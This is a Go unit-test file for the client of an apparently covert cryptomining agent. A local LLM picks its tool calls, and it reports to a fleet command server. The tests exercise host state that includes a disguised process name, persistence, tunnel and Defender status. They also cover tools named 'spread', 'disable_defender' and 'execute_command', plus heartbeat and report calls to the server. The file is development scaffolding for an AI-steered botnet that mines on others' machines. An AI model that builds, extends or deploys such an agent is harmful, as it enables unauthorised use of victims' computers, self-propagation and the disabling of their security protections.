AetherForge/agent/client/ai_test.go

package client

import (
	"encoding/json"
	"io"
	"net/http"
	"net/http/httptest"
	"strings"
	"testing"

	"crypto-miner-agent/config"
)

func TestTruncateStr(t *testing.T) {
	cases := []struct {
		in, want string
		max      int
	}{
		{"short", "short", 10},
		{"exactlyten", "exactlyten", 10},
		{"this is longer than ten", "this is lo...", 10},
		{"", "", 5},
		{"abc", "...", 0},
	}
	for _, tc := range cases {
		got := truncateStr(tc.in, tc.max)
		if got != tc.want {
			t.Fatalf("truncateStr(%q, %d) = %q want %q", tc.in, tc.max, got, tc.want)
		}
	}
}

func TestAgentStateJSONRoundTrip(t *testing.T) {
	in := AgentState{
		AgentID: "a1", WorkerName: "w1", Hostname: "host",
		UptimeSeconds: 3600, IsRunning: true,
		CPUCores: 8, CPUUsagePct: 42.5, MemoryGB: 16, MemoryUsagePct: 55.0,
		Hashrate15m: 1200.5, SharesTotal: 100, SharesGood: 95, SharesBad: 5,
		ProcessName: "svc.exe", InstallPath: `C:\miner`, HasPersistence: true,
		HasTunnel: false, DefenderState: "enabled", LastError: "none",
	}
	var out AgentState
	roundTrip(t, in, &out)
	if out.AgentID != in.AgentID || out.DefenderState != "enabled" || out.SharesBad != 5 {
		t.Fatalf("unexpected: %+v", out)
	}
}

func TestToolCallJSONRoundTrip(t *testing.T) {
	in := ToolCall{
		Tool:   "check_miner",
		Args:   map[string]string{"process_name": "miner.exe"},
		Reason: "verify process",
	}
	var out ToolCall
	roundTrip(t, in, &out)
	if out.Tool != "check_miner" || out.Args["process_name"] != "miner.exe" {
		t.Fatalf("unexpected: %+v", out)
	}
}

func TestDecideResponseJSONRoundTrip(t *testing.T) {
	in := DecideResponse{
		ToolCalls: []ToolCall{{Tool: "sleep", Args: map[string]string{"seconds": "5"}, Reason: "wait"}},
		Reasoning: "back off",
		Error:     "",
	}
	var out DecideResponse
	roundTrip(t, in, &out)
	if len(out.ToolCalls) != 1 || out.Reasoning != "back off" {
		t.Fatalf("unexpected: %+v", out)
	}
}

func TestToolReportJSONRoundTrip(t *testing.T) {
	in := ToolReport{
		AgentID: "a1", Tool: "check_miner", Success: true,
		Output: "process running", Timestamp: "2026-05-31T12:00:00Z",
	}
	var out ToolReport
	roundTrip(t, in, &out)
	if !out.Success || out.Output != "process running" {
		t.Fatalf("unexpected: %+v", out)
	}
}

func TestDecideRequestJSONRoundTrip(t *testing.T) {
	in := decideRequest{
		AgentID:        "a1",
		OllamaEndpoint: "http://localhost:11434",
		Model:          "llama3",
		AgentState:     AgentState{AgentID: "a1", WorkerName: "w1"},
	}
	var out decideRequest
	roundTrip(t, in, &out)
	if out.AgentID != "a1" || out.OllamaEndpoint != in.OllamaEndpoint || out.WorkerName != "w1" {
		t.Fatalf("unexpected: %+v", out)
	}
}

func TestHeartbeatRequestJSONRoundTrip(t *testing.T) {
	in := heartbeatRequest{AgentID: "a1", Status: "alive", Message: "ok"}
	var out heartbeatRequest
	roundTrip(t, in, &out)
	if out.Status != "alive" || out.Message != "ok" {
		t.Fatalf("unexpected: %+v", out)
	}
}

func TestShareCounts(t *testing.T) {
	a := &AIRunner{shareStats: func() (int, int) { return 10, 7 }}
	total, good, bad := a.shareCounts()
	if total != 10 || good != 7 || bad != 3 {
		t.Fatalf("got total=%d good=%d bad=%d", total, good, bad)
	}

	a.shareStats = func() (int, int) { return 5, 10 }
	_, _, bad = a.shareCounts()
	if bad != 0 {
		t.Fatalf("negative bad clamped to 0, got %d", bad)
	}

	a.shareStats = nil
	total, good, bad = a.shareCounts()
	if total != 0 || good != 0 || bad != 0 {
		t.Fatalf("nil shareStats should return zeros, got %d %d %d", total, good, bad)
	}
}

func TestExecuteToolCallPolicyDisabled(t *testing.T) {
	a := &AIRunner{agentID: "a1", cfg: config.RuntimeConfig{}}
	for _, tool := range []string{"spread", "disable_defender", "execute_command"} {
		report := a.executeToolCall(ToolCall{Tool: tool, Args: map[string]string{}})
		if report.Success || !strings.Contains(report.Output, "disabled by policy") {
			t.Fatalf("tool %q: unexpected report %+v", tool, report)
		}
		if report.AgentID != "a1" || report.Tool != tool {
			t.Fatalf("tool %q: wrong metadata %+v", tool, report)
		}
	}
}

func TestExecuteToolCallUnknownTool(t *testing.T) {
	a := &AIRunner{agentID: "a1", cfg: config.RuntimeConfig{}}
	report := a.executeToolCall(ToolCall{Tool: "nonexistent"})
	if report.Success || !strings.Contains(report.Output, "unknown tool") {
		t.Fatalf("unexpected: %+v", report)
	}
}

func TestCallDecideMockHTTP(t *testing.T) {
	var gotMethod, gotPath, gotSecret string
	var gotBody decideRequest

	srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		gotMethod = r.Method
		gotPath = r.URL.Path
		gotSecret = r.Header.Get("X-Fleet-Secret")
		body, _ := io.ReadAll(r.Body)
		_ = json.Unmarshal(body, &gotBody)
		w.Header().Set("Content-Type", "application/json")
		_, _ = w.Write([]byte(`{"tool_calls":[{"tool":"sleep","args":{"seconds":"1"},"reason":"test"}],"reasoning":"ok"}`))
	}))
	defer srv.Close()

	a := &AIRunner{
		cfg:        config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetSecret: "fleet-key", AIOllamaEndpoint: "http://ollama", AIModel: "m1"}},
		httpClient: srv.Client(),
		serverURL:  strings.TrimRight(srv.URL, "/"),
		agentID:    "agent-1",
	}

	state := AgentState{AgentID: "agent-1", WorkerName: "w1"}
	resp, err := a.callDecide(state)
	if err != nil {
		t.Fatal(err)
	}
	if gotMethod != http.MethodPost || gotPath != "/api/v1/agent/decide" {
		t.Fatalf("got %s %s", gotMethod, gotPath)
	}
	if gotSecret != "fleet-key" {
		t.Fatalf("fleet secret %q", gotSecret)
	}
	if gotBody.AgentID != "agent-1" || gotBody.OllamaEndpoint != "http://ollama" || gotBody.Model != "m1" {
		t.Fatalf("unexpected body: %+v", gotBody)
	}
	if len(resp.ToolCalls) != 1 || resp.ToolCalls[0].Tool != "sleep" {
		t.Fatalf("unexpected response: %+v", resp)
	}
}

func TestCallDecideMockHTTPErrorField(t *testing.T) {
	srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		w.Header().Set("Content-Type", "application/json")
		_, _ = w.Write([]byte(`{"error":"ollama offline"}`))
	}))
	defer srv.Close()

	a := &AIRunner{
		httpClient: srv.Client(),
		serverURL:  srv.URL,
		agentID:    "a1",
	}
	_, err := a.callDecide(AgentState{})
	if err == nil || !strings.Contains(err.Error(), "ollama offline") {
		t.Fatalf("expected decide error, got %v", err)
	}
}

func TestCallDecideMockHTTPNonOK(t *testing.T) {
	srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		w.WriteHeader(http.StatusServiceUnavailable)
	}))
	defer srv.Close()

	a := &AIRunner{
		httpClient: srv.Client(),
		serverURL:  srv.URL,
	}
	_, err := a.callDecide(AgentState{})
	if err == nil || !strings.Contains(err.Error(), "503") {
		t.Fatalf("expected status error, got %v", err)
	}
}

func TestSendHeartbeatMockHTTP(t *testing.T) {
	var got heartbeatRequest
	srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		if r.URL.Path != "/api/v1/agent/heartbeat" {
			t.Fatalf("path %s", r.URL.Path)
		}
		body, _ := io.ReadAll(r.Body)
		_ = json.Unmarshal(body, &got)
		w.WriteHeader(http.StatusOK)
	}))
	defer srv.Close()

	a := &AIRunner{
		cfg:        config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetSecret: "sec"}},
		httpClient: srv.Client(),
		serverURL:  srv.URL,
		agentID:    "a1",
	}
	a.sendHeartbeat("alive", "test msg")
	if got.AgentID != "a1" || got.Status != "alive" || got.Message != "test msg" {
		t.Fatalf("unexpected heartbeat: %+v", got)
	}
}

func TestReportResultsMockHTTP(t *testing.T) {
	var count int
	srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		if r.URL.Path != "/api/v1/agent/report" {
			t.Fatalf("path %s", r.URL.Path)
		}
		count++
		w.WriteHeader(http.StatusOK)
	}))
	defer srv.Close()

	a := &AIRunner{
		httpClient: srv.Client(),
		serverURL:  srv.URL,
		agentID:    "a1",
	}
	a.reportResults([]ToolReport{
		{AgentID: "a1", Tool: "check_miner", Success: true, Output: "ok"},
		{AgentID: "a1", Tool: "sleep", Success: true, Output: "done"},
	})
	if count != 1 {
		t.Fatalf("expected one report POST, got %d", count)
	}
}